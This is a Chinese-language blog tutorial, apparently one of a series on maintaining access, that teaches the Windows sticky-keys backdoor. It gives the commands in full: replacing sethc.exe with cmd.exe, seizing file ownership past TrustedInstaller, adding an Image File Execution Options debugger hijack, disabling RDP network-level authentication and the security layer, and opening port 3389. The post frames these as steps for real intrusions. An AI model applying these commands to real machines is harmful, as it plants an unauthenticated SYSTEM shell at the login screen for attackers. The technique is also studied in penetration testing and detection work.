权限维持篇-粘滞键后门应用

释放双眼,带上耳机,听听看~!

粘滞键后门的应用

0x01

第一种方法适用于Windows Vista版本之前的系统。
简单概括就是将C:\Windows\system32目录下的sethc.exe替换为cmd.exe,使我们在连续按下5次shift键之后,调用cmd程序。
具体命令如下:

cd c:\Windows\System32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

0x02

第二种办法适用于Windows Vista版本之后的系统。
在之后的版本中,如果要替换sethc.exe,我们需要用到trustedinstaller权限,这是一个高于Administrator的权限。
如果使用administrator权限修改,呈如下:

我们对所有者权限进行修改:右击–>属性–>所有者更改–>对象类型–>仅勾选用户
修改好之后,填写一个有效的用户名,并检查名称,确定用户是否存在:

点击确定,该程序的所有者就改变为我们选择的用户,之后我们再进行修改权限即可。

将sethc.exe文件替换为cmd.exe,我们就可以利用该后门了。(注意:cmd也需要所有者替换)

由上图我们可以看到,我们成功在用户登录的界面,执行了cmd。

那我们在实战中,是以远程登录为基础的。这时,我们又要拓展另一个权限,userauthentication权限,用于远程连接的身份验证。

我们以图片直观地查看该权限开启与关闭的区别:
开启状态:

关闭状态:

鉴权开启时,我们在不知道账号密码的情况下无法登录到远程界面,但是鉴权关闭之后,无论我们输入的账号和密码是否正确,都可以进入远程界面窗口,从而触发粘滞键后门。

如何关闭鉴权模式,我们采用如下命令:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0

0代表关闭,1代表开启

在大佬的文章中,还提到了securitylayer安全层,具体指:0 就是连接前使用 rdp 协议进行身份验证,rdp 即远程桌面连接,可以简单理解为就是关闭验证。1 是指在连接前两端协商来进行身份验证,这个是默认值。2 就是使用 tls 协议来进行。

此安全层在我实际的应用中,并未受到影响,但是最好将其参数设置为0,命令如下:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0

REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v SecurityLayer /t REG_DWORD /d 0

 

0x03

通过修改注册表的方式实现后门,核心技术为修改注册表的映像劫持。
命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”

效果如下:

我们通过映像劫持的方式进行修改,所以并未改变cmd的命名。

reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 / v 来指定键名,这个键名 debugger 是固定的,然后通过 / t 来指定类型,即 REG_SZ 字符串类型,最后通过 / d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。

拓展一下,开启远程桌面的命令:
3389端口放行:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

开启远程桌面服务:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f

参考文章:https://blog.csdn.net/fageweiketang/article/details/88317656

 

相关文章

人已赞赏
安全教程

权限维持篇-NC后门

2020-3-26 2:19:30

安全教程

权限维持篇-msdtc后门

2020-3-26 22:16:12

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
有新消息 消息中心
搜索